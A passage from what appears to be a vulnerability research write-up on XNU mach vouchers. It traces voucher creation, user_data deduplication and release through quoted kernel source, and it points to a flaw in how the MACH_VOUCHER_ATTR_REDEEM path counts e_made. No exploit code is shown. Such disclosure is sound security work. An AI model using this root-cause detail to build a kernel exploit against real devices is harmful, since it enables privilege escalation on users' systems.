mach_voucher_attr_recipe_data {\n\nmach_voucher_attr_key_t key;\n\nmach_voucher_attr_recipe_command_t command;\n\nmach_voucher_name_t previous_voucher;\n\nmach_voucher_attr_content_size_t content_size;\n\nuint8_t content[];\n\n} mach_voucher_attr_recipe_data_t; \n \n--- \n \nkey is one of the four supported voucher attr types we've seen before (importance, bank, pthread_priority and user_data) or a wildcard value (MACH_VOUCHER_ATTR_KEY_ALL) indicating that the command should apply to all keys. There are a number of generic commands as well as type-specific commands. Commands can optionally refer to existing vouchers via the previous_voucher field, which should name a voucher port.\n\nHere are the supported generic commands for voucher creation:\n\nMACH_VOUCHER_ATTR_COPY: copy the attr value from the previous voucher. You can specify the wildcard key to copy all the attr values from the previous voucher.\n\nMACH_VOUCHER_ATTR_REMOVE: remove the specified attr value from the voucher under construction. This can also remove all the attributes from the voucher under construction (which, arguably, makes no sense.)\n\nMACH_VOUCHER_ATTR_SET_VALUE_HANDLE: this command is only valid for kernel clients; it allows the caller to specify an arbitrary ivace_value, which doesn't make sense for userspace and shouldn't be reachable.\n\nMACH_VOUCHER_ATTR_REDEEM: the semantics of redeeming an attribute from a previous voucher are not defined by the voucher code; it's up to the individual managers to determine what that might mean.\n\nHere are the attr-specific commands for voucher creation for each type:\n\nbank:\n\nMACH_VOUCHER_ATTR_BANK_CREATE\n\nMACH_VOUCHER_ATTR_BANK_MODIFY_PERSONA\n\nMACH_VOUCHER_ATTR_AUTO_REDEEM\n\nMACH_VOUCHER_ATTR_SEND_PREPROCESS\n\nimportance:\n\nMACH_VOUCHER_ATTR_IMPORTANCE_SELF\n\nuser_data:\n\nMACH_VOUCHER_ATTR_USER_DATA_STORE\n\npthread_priority:\n\nMACH_VOUCHER_ATTR_PTHPRIORITY_CREATE\n\nNote that there are further commands which can be \"executed against\" vouchers via the mach_voucher_attr_command MIG method which calls the attr manager's ivam_command function pointer. Those are:\n\nbank:\n\nBANK_ORIGINATOR_PID\n\nBANK_PERSONA_TOKEN\n\nBANK_PERSONA_ID\n\nimportance:\n\nMACH_VOUCHER_IMPORTANCE_ATTR_DROP_EXTERNAL\n\nuser_data:\n\nnone\n\npthread_priority:\n\nnone\n\nLet's look at example recipe for creating a voucher with a single user_data attr, consisting of the 4 bytes {0x41, 0x41, 0x41, 0x41}:\n\nstruct udata_dword_recipe {\n\nmach_voucher_attr_recipe_data_t recipe;\n\nuint32_t payload;\n\n};\n\nstruct udata_dword_recipe r = {0};\n\nr.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nr.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\n\nr.recipe.content_size = sizeof(uint32_t);\n\nr.payload = 0x41414141; \n \n--- \n \nLet's follow the path of this recipe in detail.\n\nHere's the most important part of host_create_mach_voucher showing the three high-level phases: voucher allocation, attribute creation and voucher de-duping. It's not the responsibility of this code to find or allocate a mach port for the voucher; that's done by the MIG layer code.\n\n/* allocate new voucher */\n\nvoucher = iv_alloc(ivgt_keys_in_use);\n\nif (IV_NULL == voucher) {\n\nreturn KERN_RESOURCE_SHORTAGE;\n\n}\n\n/* iterate over the recipe items */\n\nwhile (0 < recipe_size - recipe_used) {\n\nipc_voucher_t prev_iv;\n\nif (recipe_size - recipe_used < sizeof(*sub_recipe)) {\n\nkr = KERN_INVALID_ARGUMENT;\n\nbreak;\n\n}\n\n/* find the next recipe */\n\nsub_recipe =\n\n(mach_voucher_attr_recipe_t)(void *)&recipes[recipe_used];\n\nif (recipe_size - recipe_used - sizeof(*sub_recipe) <\n\nsub_recipe->content_size) {\n\nkr = KERN_INVALID_ARGUMENT;\n\nbreak;\n\n}\n\nrecipe_used += sizeof(*sub_recipe) + sub_recipe->content_size;\n\n/* convert voucher port name (current space) */\n\n/* into a voucher reference */\n\nprev_iv =\n\nconvert_port_name_to_voucher(sub_recipe->previous_voucher);\n\nif (MACH_PORT_NULL != sub_recipe->previous_voucher &&\n\nIV_NULL == prev_iv) {\n\nkr = KERN_INVALID_CAPABILITY;\n\nbreak;\n\n}\n\nkr = ipc_execute_voucher_recipe_command(\n\nvoucher,\n\nsub_recipe->key,\n\nsub_recipe->command,\n\nprev_iv,\n\nsub_recipe->content,\n\nsub_recipe->content_size,\n\nFALSE);\n\nipc_voucher_release(prev_iv);\n\nif (KERN_SUCCESS != kr) {\n\nbreak;\n\n}\n\n}\n\nif (KERN_SUCCESS == kr) {\n\n*new_voucher = iv_dedup(voucher);\n\n} else {\n\n*new_voucher = IV_NULL;\n\niv_dealloc(voucher, FALSE);\n\n} \n \n--- \n \nAt the top of this snippet a new voucher is allocated in iv_alloc. ipc_execute_voucher_recipe_command is then called in a loop to consume however many sub-recipe structures were provided by userspace. Each sub-recipe can optionally refer to an existing voucher via the sub-recipe previous_voucher field. Note that MIG doesn't natively support variable-sized structures containing ports so it's passed as a mach port name which is looked up in the calling task's mach port namespace and converted to a voucher reference by convert_port_name_to_voucher. The intended functionality here is to be able to refer to attrs in other vouchers to copy or \"redeem\" them. As discussed, the semantics of redeeming a voucher attr isn't defined by the abstract voucher code and it's up to the individual attr managers to decide what that means.\n\nOnce the entire recipe has been consumed and all the iv_table entries filled in, iv_dedup then searches the ivht_bucket hash table to see if there's an existing voucher with a matching set of attributes. Remember that each attribute value stored in a voucher is an index into the attribute controller's attribute table; and those attributes are unique, so it suffices to simply compare the array of voucher indexes to determine whether all attribute values are equal. If a matching voucher is found, iv_dedup returns a reference to the existing voucher and calls iv_dealloc to free the newly created newly-created voucher. Otherwise, if no existing, matching voucher is found, iv_dedup adds the newly created voucher to the ivht_bucket hash table.\n\nLet's look at ipc_execute_voucher_recipe_command which is responsible for filling in the requested entries in the voucher iv_table. Note that key and command are arbitrary, controlled dwords. content is a pointer to a buffer of controlled bytes, and content_size is the correct size of that input buffer. The MIG layer limits the overall input size of the recipe (which is a collection of sub-recipes) to 5260 bytes, and any input content buffers would have to fit in there.\n\nstatic kern_return_t\n\nipc_execute_voucher_recipe_command(\n\nipc_voucher_t voucher,\n\nmach_voucher_attr_key_t key,\n\nmach_voucher_attr_recipe_command_t command,\n\nipc_voucher_t prev_iv,\n\nmach_voucher_attr_content_t content,\n\nmach_voucher_attr_content_size_t content_size,\n\nboolean_t key_priv)\n\n{\n\niv_index_t prev_val_index;\n\niv_index_t val_index;\n\nkern_return_t kr;\n\nswitch (command) { \n \n--- \n \nMACH_VOUCHER_ATTR_USER_DATA_STORE isn't one of the switch statement case values here so the code falls through to the default case:\n\ndefault:\n\nkr = ipc_replace_voucher_value(voucher,\n\nkey,\n\ncommand,\n\nprev_iv,\n\ncontent,\n\ncontent_size);\n\nif (KERN_SUCCESS != kr) {\n\nreturn kr;\n\n}\n\nbreak;\n\n}\n\nreturn KERN_SUCCESS; \n \n--- \n \nHere's that code:\n\nstatic kern_return_t\n\nipc_replace_voucher_value(\n\nipc_voucher_t voucher,\n\nmach_voucher_attr_key_t key,\n\nmach_voucher_attr_recipe_command_t command,\n\nipc_voucher_t prev_voucher,\n\nmach_voucher_attr_content_t content,\n\nmach_voucher_attr_content_size_t content_size)\n\n{\n\n...\n\n/*\n\n* Get the manager for this key_index.\n\n* Returns a reference on the control.\n\n*/\n\nkey_index = iv_key_to_index(key);\n\nivgt_lookup(key_index, TRUE, &ivam, &ivac);\n\nif (IVAM_NULL == ivam) {\n\nreturn KERN_INVALID_ARGUMENT;\n\n}\n\n.. \n \n--- \n \niv_key_to_index just subtracts 1 from key (assuming it's valid and not MACH_VOUCHER_ATRR_KEY_ALL):\n\nstatic inline iv_index_t\n\niv_key_to_index(mach_voucher_attr_key_t key)\n\n{\n\nif (MACH_VOUCHER_ATTR_KEY_ALL == key ||\n\nMACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN < key) {\n\nreturn IV_UNUSED_KEYINDEX;\n\n}\n\nreturn (iv_index_t)key - 1;\n\n} \n \n--- \n \nivgt_lookup then gets a reference on that key's attr manager and attr controller. The manager is really just a bunch of function pointers which define the semantics of what different \"key types\" actually mean; and the controller stores (and caches) values for those keys.\n\nLet's keep reading ipc_replace_voucher_value. Here's the next statement:\n\n/* save the current value stored in the forming voucher */\n\nsave_val_index = iv_lookup(voucher, key_index); \n \n--- \n \nThis point is important for getting a good feeling for how the voucher code is supposed to work; recipes can refer not only to other vouchers (via the previous_voucher port) but they can also refer to themselves during creation. You don't have to have just one sub-recipe per attr type for which you wish to have a value in your voucher; you can specify multiple sub-recipes for that type. Does it actually make any sense to do that? Well, luckily for the security researcher we don't have to worry about whether functionality actually makes any sense; it's all just a weird machine to us! (There's allusions in the code to future functionality where attribute values can be \"layered\" or \"linked\" but for now such functionality doesn't exist.)\n\niv_lookup returns the \"value index\" for the given key in the particular voucher. That means it just returns the iv_index_t in the iv_table of the given voucher:\n\nstatic inline iv_index_t\n\niv_lookup(ipc_voucher_t iv, iv_index_t key_index)\n\n{\n\nif (key_index < iv->iv_table_size) {\n\nreturn iv->iv_table[key_index];\n\n}\n\nreturn IV_UNUSED_VALINDEX;\n\n} \n \n--- \n \nThis value index uniquely identifies an existing attribute value, but you need to ask the attribute's controller for the actual value. Before getting that previous value though, the code first determines whether this sub-recipe might be trying to refer to the value currently stored by this voucher or has explicitly passed in a previous_voucher. The value in the previous voucher takes precedence over whatever is already in the under-construction voucher.\n\nprev_val_index = (IV_NULL != prev_voucher) ?\n\niv_lookup(prev_voucher, key_index) :\n\nsave_val_index; \n \n--- \n \nThen the code looks up the actual previous value to operate on:\n\nivace_lookup_values(key_index, prev_val_index,\n\nprevious_vals, &previous_vals_count); \n \n--- \n \nkey_index is the key we're operating on, MACH_VOUCHER_ATTR_KEY_USER_DATA in this example. This function is called ivace_lookup_values (note the plural). There are some comments in the voucher code indicating that maybe in the future values could themselves be put into a linked-list such that you could have larger values (or layered/chained values.) But this functionality isn't implemented; ivace_lookup_values will only ever return 1 value.\n\nHere's ivace_lookup_values:\n\nstatic void\n\nivace_lookup_values(\n\niv_index_t key_index,\n\niv_index_t value_index,\n\nmach_voucher_attr_value_handle_array_t values,\n\nmach_voucher_attr_value_handle_array_size_t *count)\n\n{\n\nipc_voucher_attr_control_t ivac;\n\nivac_entry_t ivace;\n\nif (IV_UNUSED_VALINDEX == value_index ||\n\nMACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN <= key_index) {\n\n*count = 0;\n\nreturn;\n\n}\n\nivac = iv_global_table[key_index].ivgte_control;\n\nassert(IVAC_NULL != ivac);\n\n/*\n\n* Get the entry and then the linked values.\n\n*/\n\nivac_lock(ivac);\n\nassert(value_index < ivac->ivac_table_size);\n\nivace = &ivac->ivac_table[value_index];\n\n/*\n\n* TODO: support chained values (for effective vouchers).\n\n*/\n\nassert(ivace->ivace_refs > 0);\n\nvalues[0] = ivace->ivace_value;\n\nivac_unlock(ivac);\n\n*count = 1;\n\n} \n \n--- \n \nThe locking used in the vouchers code is very important for properly understanding the underlying vulnerability when we eventually get there, but for now I'm glossing over it and we'll return to examine the relevant locks when necessary.\n\nLet's discuss the ivace_lookup_values code. They index the iv_global_table to get a pointer to the attribute type's controller:\n\nivac = iv_global_table[key_index].ivgte_control; \n \n--- \n \nThey take that controller's lock then index its ivac_table to find that value's struct ivac_entry_s and read the ivace_value value from there:\n\nivac_lock(ivac);\n\nassert(value_index < ivac->ivac_table_size);\n\nivace = &ivac->ivac_table[value_index];\n\nassert(ivace->ivace_refs > 0);\n\nvalues[0] = ivace->ivace_value;\n\nivac_unlock(ivac);\n\n*count = 1; \n \n--- \n \nLet's go back to the calling function (ipc_replace_voucher_value) and keep reading:\n\n/* Call out to resource manager to get new value */\n\nnew_value_voucher = IV_NULL;\n\nkr = (ivam->ivam_get_value)(\n\nivam, key, command,\n\nprevious_vals, previous_vals_count,\n\ncontent, content_size,\n\n&new_value, &new_flag, &new_value_voucher);\n\nif (KERN_SUCCESS != kr) {\n\nivac_release(ivac);\n\nreturn kr;\n\n} \n \n--- \n \nivam->ivam_get_value is calling the attribute type's function pointer which defines the meaning for the particular type of \"get_value\". The term get_value here is a little confusing; aren't we trying to store a new value? (and there's no subsequent call to a method like \"store_value\".) A better way to think about the semantics of get_value is that it's meant to evaluate both previous_vals (either the value from previous_voucher or the value currently in this voucher) and content (the arbitrary byte buffer from this sub-recipe) and combine/evaluate them to create a value representation. It's then up to the controller layer to store/cache that value. (Actually there's one tedious snag in this system which we'll get to involving locking...)\n\nivam_get_value for the user_data attribute type is user_data_get_value:\n\nstatic kern_return_t\n\nuser_data_get_value(\n\nipc_voucher_attr_manager_t __assert_only manager,\n\nmach_voucher_attr_key_t __assert_only key,\n\nmach_voucher_attr_recipe_command_t command,\n\nmach_voucher_attr_value_handle_array_t prev_values,\n\nmach_voucher_attr_value_handle_array_size_t prev_value_count,\n\nmach_voucher_attr_content_t content,\n\nmach_voucher_attr_content_size_t content_size,\n\nmach_voucher_attr_value_handle_t *out_value,\n\nmach_voucher_attr_value_flags_t *out_flags,\n\nipc_voucher_t *out_value_voucher)\n\n{\n\nuser_data_element_t elem;\n\nassert(&user_data_manager == manager);\n\nUSER_DATA_ASSERT_KEY(key);\n\n/* never an out voucher */\n\n*out_value_voucher = IPC_VOUCHER_NULL;\n\n*out_flags = MACH_VOUCHER_ATTR_VALUE_FLAGS_NONE;\n\nswitch (command) {\n\ncase MACH_VOUCHER_ATTR_REDEEM:\n\n/* redeem of previous values is the value */\n\nif (0 < prev_value_count) {\n\nelem = (user_data_element_t)prev_values[0];\n\nassert(0 < elem->e_made);\n\nelem->e_made++;\n\n*out_value = prev_values[0];\n\nreturn KERN_SUCCESS;\n\n}\n\n/* redeem of default is default */\n\n*out_value = 0;\n\nreturn KERN_SUCCESS;\n\ncase MACH_VOUCHER_ATTR_USER_DATA_STORE:\n\nif (USER_DATA_MAX_DATA < content_size) {\n\nreturn KERN_RESOURCE_SHORTAGE;\n\n}\n\n/* empty is the default */\n\nif (0 == content_size) {\n\n*out_value = 0;\n\nreturn KERN_SUCCESS;\n\n}\n\nelem = user_data_dedup(content, content_size);\n\n*out_value = (mach_voucher_attr_value_handle_t)elem;\n\nreturn KERN_SUCCESS;\n\ndefault:\n\n/* every other command is unknown */\n\nreturn KERN_INVALID_ARGUMENT;\n\n}\n\n} \n \n--- \n \nLet's look at the MACH_VOUCHER_ATTR_USER_DATA_STORE case, which is the command we put in our single sub-recipe. (The vulnerability is in the MACH_VOUCHER_ATTR_REDEEM code above but we need a lot more background before we get to that.) In the MACH_VOUCHER_ATTR_USER_DATA_STORE case the input arbitrary byte buffer is passed to user_data_dedup, then that return value is returned as the value of out_value. Here's user_data_dedup:\n\nstatic user_data_element_t\n\nuser_data_dedup(\n\nmach_voucher_attr_content_t content,\n\nmach_voucher_attr_content_size_t content_size)\n\n{\n\niv_index_t sum;\n\niv_index_t hash;\n\nuser_data_element_t elem;\n\nuser_data_element_t alloc = NULL;\n\nsum = user_data_checksum(content, content_size);\n\nhash = USER_DATA_HASH_BUCKET(sum);\n\nretry:\n\nuser_data_lock();\n\nqueue_iterate(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link) {\n\nassert(elem->e_hash == hash);\n\n/* if sums match... */\n\nif (elem->e_sum == sum && elem->e_size == content_size) {\n\niv_index_t i;\n\n/* and all data matches */\n\nfor (i = 0; i < content_size; i++) {\n\nif (elem->e_data[i] != content[i]) {\n\nbreak;\n\n}\n\n}\n\nif (i < content_size) {\n\ncontinue;\n\n}\n\n/* ... we found a match... */\n\nelem->e_made++;\n\nuser_data_unlock();\n\nif (NULL != alloc) {\n\nkfree(alloc, sizeof(*alloc) + content_size);\n\n}\n\nreturn elem;\n\n}\n\n}\n\nif (NULL == alloc) {\n\nuser_data_unlock();\n\nalloc = (user_data_element_t)kalloc(sizeof(*alloc) + content_size);\n\nalloc->e_made = 1;\n\nalloc->e_size = content_size;\n\nalloc->e_sum = sum;\n\nalloc->e_hash = hash;\n\nmemcpy(alloc->e_data, content, content_size);\n\ngoto retry;\n\n}\n\nqueue_enter(&user_data_bucket[hash], alloc, user_data_element_t, e_hash_link);\n\nuser_data_unlock();\n\nreturn alloc;\n\n} \n \n--- \n \nThe user_data attributes are just uniquified buffer pointers. Each buffer is represented by a user_data_value_element structure, which has a meta-data header followed by a variable-sized inline buffer containing the arbitrary byte data:\n\nstruct user_data_value_element {\n\nmach_voucher_attr_value_reference_t e_made;\n\nmach_voucher_attr_content_size_t e_size;\n\niv_index_t e_sum;\n\niv_index_t e_hash;\n\nqueue_chain_t e_hash_link;\n\nuint8_t e_data[];\n\n}; \n \n--- \n \nPointers to those elements are stored in the user_data_bucket hash table.\n\nuser_data_dedup searches the user_data_bucket hash table to see if a matching user_data_value_element already exists. If not, it allocates one and adds it to the hash table. Note that it's not allowed to hold locks while calling kalloc() so the code first has to drop the user_data lock, allocate a user_data_value_element then take the lock again and check the hash table a second time to ensure that another thread didn't also allocate and insert a matching user_data_value_element while the lock was dropped.\n\nThe e_made field of user_data_value_element is critical to the vulnerability we're eventually going to discuss, so let's examine its use here.\n\nIf a new user_data_value_element is created its e_made field is initialized to 1. If an existing user_data_value_element is found which matches the requested content buffer the e_made field is incremented before a pointer to that user_data_value_element is returned. Redeeming a user_data_value_element (via the MACH_VOUCHER_ATTR_REDEEM command) also just increments the e_made of the element being redeemed before returning it. The type of the e_made field is mach_voucher_attr_value_reference_t so it's tempting to believe that this field is a reference count. The reality is more subtle than that though.\n\nThe first hint that e_made isn't exactly a reference count is that if you search for e_made in XNU you'll notice that it's never decremented. There are also no places where a pointer to that structure is cast to another type which treats the first dword as a reference count. e_made can only ever go up (well technically there's also nothing stopping it overflowing so it can also go down 1 in every 232 increments...)\n\nLet's go back up the stack to the caller of user_data_get_value, ipc_replace_voucher_value:\n\nThe next part is again code for unused functionality. No current voucher attr type implementations return a new_value_voucher so this condition is never true:\n\n/* TODO: value insertion from returned voucher */\n\nif (IV_NULL != new_value_voucher) {\n\niv_release(new_value_voucher);\n\n} \n \n--- \n \nNext, the code needs to wrap new_value in an ivace_entry and determine the index of that ivace_entry in the controller's table of values. This is done by ivace_reference_by_value:\n\n/*\n\n* Find or create a slot in the table associated\n\n* with this attribute value. The ivac reference\n\n* is transferred to a new value, or consumed if\n\n* we find a matching existing value.\n\n*/\n\nval_index = ivace_reference_by_value(ivac, new_value, new_flag);\n\niv_set(voucher, key_index, val_index); \n \n--- \n \n/*\n\n* Look up the values for a given <key, index> pair.\n\n*\n\n* Consumes a reference on the passed voucher control.\n\n* Either it is donated to a newly-created value cache\n\n* or it is released (if we piggy back on an existing\n\n* value cache entry).\n\n*/\n\nstatic iv_index_t\n\nivace_reference_by_value(\n\nipc_voucher_attr_control_t ivac,\n\nmach_voucher_attr_value_handle_t value,\n\nmach_voucher_attr_value_flags_t flag)\n\n{\n\nivac_entry_t ivace = IVACE_NULL;\n\niv_index_t hash_index;\n\niv_index_t index;\n\nif (IVAC_NULL == ivac) {\n\nreturn IV_UNUSED_VALINDEX;\n\n}\n\nivac_lock(ivac);\n\nrestart:\n\nhash_index = IV_HASH_VAL(ivac->ivac_init_table_size, value);\n\nindex = ivac->ivac_table[hash_index].ivace_index;\n\nwhile (index != IV_HASH_END) {\n\nassert(index < ivac->ivac_table_size);\n\nivace = &ivac->ivac_table[index];\n\nassert(!ivace->ivace_free);\n\nif (ivace->ivace_value == value) {\n\nbreak;\n\n}\n\nassert(ivace->ivace_next != index);\n\nindex = ivace->ivace_next;\n\n}\n\n/* found it? */\n\nif (index != IV_HASH_END) {\n\n/* only add reference on non-persistent value */\n\nif (!ivace->ivace_persist) {\n\nivace->ivace_refs++;\n\nivace->ivace_made++;\n\n}\n\nivac_unlock(ivac);\n\nivac_release(ivac);\n\nreturn index;\n\n}\n\n/* insert new entry in the table */\n\nindex = ivac->ivac_freelist;\n\nif (IV_FREELIST_END == index) {\n\n/* freelist empty */\n\nivac_grow_table(ivac);\n\ngoto restart;\n\n}\n\n/* take the entry off the freelist */\n\nivace = &ivac->ivac_table[index];\n\nivac->ivac_freelist = ivace->ivace_next;\n\n/* initialize the new entry */\n\nivace->ivace_value = value;\n\nivace->ivace_refs = 1;\n\nivace->ivace_made = 1;\n\nivace->ivace_free = FALSE;\n\nivace->ivace_persist = (flag & MACH_VOUCHER_ATTR_VALUE_FLAGS_PERSIST) ? TRUE : FALSE;\n\n/* insert the new entry in the proper hash chain */\n\nivace->ivace_next = ivac->ivac_table[hash_index].ivace_index;\n\nivac->ivac_table[hash_index].ivace_index = index;\n\nivac_unlock(ivac);\n\n/* donated passed in ivac reference to new entry */\n\nreturn index;\n\n} \n \n--- \n \nYou'll notice that this code has a very similar structure to user_data_dedup; it needs to do almost exactly the same thing. Under a lock (this time the controller's lock) traverse a hash table looking for a matching value. If one can't be found, allocate a new entry and put the value in the hash table. The same unlock/lock dance is needed, but not every time because ivace's are kept in a table of struct ivac_entry_s's so the lock only needs to be dropped if the table needs to grow.\n\nIf a new entry is allocated (from the freelist of ivac_entry's in the table) then its reference count (ivace_refs) is set to 1, and its ivace_made count is set to 1. If an existing entry is found then both its ivace_refs and ivace_made counts are incremented:\n\nivace->ivace_refs++;\n\nivace->ivace_made++; \n \n--- \n \nFinally, the index of this entry in the table of all the controller's entries is returned, because it's the index into that table which a voucher stores; not a pointer to the ivace.\n\nivace_reference_by_value then calls iv_set to store that index into the correct slot in the voucher's iv_table, which is just a simple array index operation:\n\niv_set(voucher, key_index, val_index); \n \n--- \n \nstatic void\n\niv_set(ipc_voucher_t iv,\n\niv_index_t key_index,\n\niv_index_t value_index)\n\n{\n\nassert(key_index < iv->iv_table_size);\n\niv->iv_table[key_index] = value_index;\n\n} \n \n--- \n \nOur journey following this recipe is almost over! Since we only supplied one sub-recipe we exit the loop in host_create_mach_voucher and reach the call to iv_dedup:\n\nif (KERN_SUCCESS == kr) {\n\n*new_voucher = iv_dedup(voucher); \n \n--- \n \nI won't show the code for iv_dedup here because it's again structurally almost identical to the two other levels of deduping we've examined. In fact it's a little simpler because it can hold the associated hash table lock the whole time (via ivht_lock()) since it doesn't need to allocate anything. If a match is found (that is, the hash table already contains a voucher with exactly the same set of value indexes) then a reference is taken on that existing voucher and a reference is dropped on the voucher we just created from the input recipe via iv_dealloc:\n\niv_dealloc(new_iv, FALSE); \n \n--- \n \nThe FALSE argument here indicates that new_iv isn't in the ivht_bucket hashtable so shouldn't be removed from there if it is going to be destroyed. Vouchers are only added to the hashtable after the deduping process to prevent deduplication happening against incomplete vouchers.\n\nThe final step occurs when host_create_mach_voucher returns. Since this is a MIG method, if it returns success and new_voucher isn't IV_NULL, new_voucher will be converted into a mach port; a send right to which will be given to the userspace caller. This is the final level of deduplication; there can only ever be one mach port representing a particular voucher. This is implemented by the voucher structure's iv_port member.\n\n(For the sake of completeness note that there are actually two userspace interfaces to host_create_mach_voucher; the host port MIG method and also the host_create_mach_voucher_trap mach trap. The trap interface has to emulate the MIG semantics though.)\n\n## Destruction\n\nAlthough I did briefly hint at a vulnerability above we still haven't actually seen enough code to determine that that bug actually has any security consequences. This is where things get complicated ;-)\n\nLet's start with the result of the situation we described above, where we created a voucher port with the following recipe:\n\nstruct udata_dword_recipe {\n\nmach_voucher_attr_recipe_data_t recipe;\n\nuint32_t payload;\n\n};\n\nstruct udata_dword_recipe r = {0};\n\nr.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nr.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\n\nr.recipe.content_size = sizeof(uint32_t);\n\nr.payload = 0x41414141; \n \n--- \n \nThis will end up with the following data structures in the kernel:\n\nvoucher_port {\n\nip_kobject = reference-counted pointer to the voucher\n\n}\n\nvoucher {\n\niv_refs = 1;\n\niv_table[6] = reference-counted *index* into user_data controller's ivac_table\n\n}\n\ncontroller {\n\nivace_table[index] =\n\n{\n\nivace_refs = 1;\n\nivace_made = 1;\n\nivace_value = pointer to user_data_value_element\n\n}\n\n}\n\nuser_data_value_element {\n\ne_made = 1;\n\ne_data[] = {0x41, 0x41, 0x41, 0x41}\n\n} \n \n--- \n \nLet's look at what happens when we drop the only send right to the voucher port and the voucher gets deallocated.\n\nWe'll skip analysis of the mach port part; essentially, once all the send rights to the mach port holding a reference to the voucher are deallocated iv_release will get called to drop its reference on the voucher. And if that was the last reference iv_release calls iv_dealloc and we'll pick up the code there:\n\nvoid\n\niv_dealloc(ipc_voucher_t iv, boolean_t unhash) \n \n--- \n \niv_dealloc removes the voucher from the hash table, destroys the mach port associated with the voucher (if there was one) then releases a reference on each value index in the iv_table:\n\nfor (i = 0; i < iv->iv_table_size; i++) {\n\nivace_release(i, iv->iv_table[i]);\n\n} \n \n--- \n \nRecall that the index in the iv_table is the \"key index\", which is one less than the key, which is why i is being passed to ivace_release. The value in iv_table alone is meaningless without knowing under which index it was stored in the iv_table. Here's the start of ivace_release:\n\nstatic void\n\nivace_release(\n\niv_index_t key_index,\n\niv_index_t value_index)\n\n{\n\n...\n\nivgt_lookup(key_index, FALSE, &ivam, &ivac);\n\nivac_lock(ivac);\n\nassert(value_index < ivac->ivac_table_size);\n\nivace = &ivac->ivac_table[value_index];\n\nassert(0 < ivace->ivace_refs);\n\n/* cant release persistent values */\n\nif (ivace->ivace_persist) {\n\nivac_unlock(ivac);\n\nreturn;\n\n}\n\nif (0 < \\--ivace->ivace_refs) {\n\nivac_unlock(ivac);\n\nreturn;\n\n} \n \n--- \n \nFirst they grab references to the attribute manager and controller for the given key index (ivam and ivac), take the ivac lock then take calculate a pointer into the ivac's ivac_table to get a pointer to the ivac_entry corresponding to the value_index to be released.\n\nIf this entry is marked as persistent, then nothing happens, otherwise the ivace_refs field is decremented. If the reference count is still non-zero, they drop the ivac's lock and return. Otherwise, the reference count of this ivac_entry has gone to zero and they will continue on to \"free\" the ivac_entry. As noted before, this isn't going to free the ivac_entry to the zone allocator; the entry is just an entry in an array and in its free state its index is present in a freelist of empty indexes. The code continues thus:\n\nkey = iv_index_to_key(key_index);\n\nassert(MACH_VOUCHER_ATTR_KEY_NONE != key);\n\n/*\n\n* if last return reply is still pending,\n\n* let it handle this later return when\n\n* the previous reply comes in.\n\n*/\n\nif (ivace->ivace_releasing) {\n\nivac_unlock(ivac);\n\nreturn;\n\n}\n\n/* claim releasing */\n\nivace->ivace_releasing = TRUE; \n \n--- \n \niv_index_to_key goes back from the key_index to the key value (which in practice will be 1 greater than the key index.) Then the ivace_entry is marked as \"releasing\". The code continues:\n\nvalue = ivace->ivace_value;\n\nredrive:\n\nassert(value == ivace->ivace_value);\n\nassert(!ivace->ivace_free);\n\nmade = ivace->ivace_made;\n\nivac_unlock(ivac);\n\n/* callout to manager's release_value */\n\nkr = (ivam->ivam_release_value)(ivam, key, value, made);\n\n/* recalculate entry address as table may have changed */\n\nivac_lock(ivac);\n\nivace = &ivac->ivac_table[value_index];\n\nassert(value == ivace->ivace_value);\n\n/*\n\n* new made values raced with this return. If the\n\n* manager OK'ed the prior release, we have to start\n\n* the made numbering over again (pretend the race\n\n* didn't happen). If the entry has zero refs again,\n\n* re-drive the release.\n\n*/\n\nif (ivace->ivace_made != made) {\n\nif (KERN_SUCCESS == kr) {\n\nivace->ivace_made -= made;\n\n}\n\nif (0 == ivace->ivace_refs) {\n\ngoto redrive;\n\n}\n\nivace->ivace_releasing = FALSE;\n\nivac_unlock(ivac);\n\nreturn;\n\n} else { \n \n--- \n \nNote that we enter this snippet with the ivac's lock held. The ivace->ivace_value and ivace->ivace_made values are read under that lock, then the ivac lock is dropped and the attribute managers release_value callback is called:\n\nkr = (ivam->ivam_release_value)(ivam, key, value, made); \n \n--- \n \nHere's the user_data ivam_release_value callback:\n\nstatic kern_return_t\n\nuser_data_release_value(\n\nipc_voucher_attr_manager_t __assert_only manager,\n\nmach_voucher_attr_key_t __assert_only key,\n\nmach_voucher_attr_value_handle_t value,\n\nmach_voucher_attr_value_reference_t sync)\n\n{\n\nuser_data_element_t elem;\n\niv_index_t hash;\n\nassert(&user_data_manager == manager);\n\nUSER_DATA_ASSERT_KEY(key);\n\nelem = (user_data_element_t)value;\n\nhash = elem->e_hash;\n\nuser_data_lock();\n\nif (sync == elem->e_made) {\n\nqueue_remove(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link);\n\nuser_data_unlock();\n\nkfree(elem, sizeof(*elem) + elem->e_size);\n\nreturn KERN_SUCCESS;\n\n}\n\nassert(sync < elem->e_made);\n\nuser_data_unlock();\n\nreturn KERN_FAILURE;\n\n} \n \n--- \n \nUnder the user_data lock (via user_data_lock()) the code checks whether the user_data_value_element's e_made field is equal to the sync value passed in. Looking back at the caller, sync is ivace->ivace_made. If and only if those values are equal does this method remove the user_data_value_element from the hashtable and free it (via kfree) before returning success. If sync isn't equal to e_made, this method returns KERN_FAILURE.\n\nHaving looked at the semantics of user_data_free_value let's look back at the callsite:\n\nredrive:\n\nassert(value == ivace->ivace_value);\n\nassert(!ivace->ivace_free);\n\nmade = ivace->ivace_made;\n\nivac_unlock(ivac);\n\n/* callout to manager's release_value */\n\nkr = (ivam->ivam_release_value)(ivam, key, value, made);\n\n/* recalculate entry address as table may have changed */\n\nivac_lock(ivac);\n\nivace = &ivac->ivac_table[value_index];\n\nassert(value == ivace->ivace_value);\n\n/*\n\n* new made values raced with this return. If the\n\n* manager OK'ed the prior release, we have to start\n\n* the made numbering over again (pretend the race\n\n* didn't happen). If the entry has zero refs again,\n\n* re-drive the release.\n\n*/\n\nif (ivace->ivace_made != made) {\n\nif (KERN_SUCCESS == kr) {\n\nivace->ivace_made -= made;\n\n}\n\nif (0 == ivace->ivace_refs) {\n\ngoto redrive;\n\n}\n\nivace->ivace_releasing = FALSE;\n\nivac_unlock(ivac);\n\nreturn;\n\n} else { \n \n--- \n \nThey grab the ivac's lock again and recalculate a pointer to the 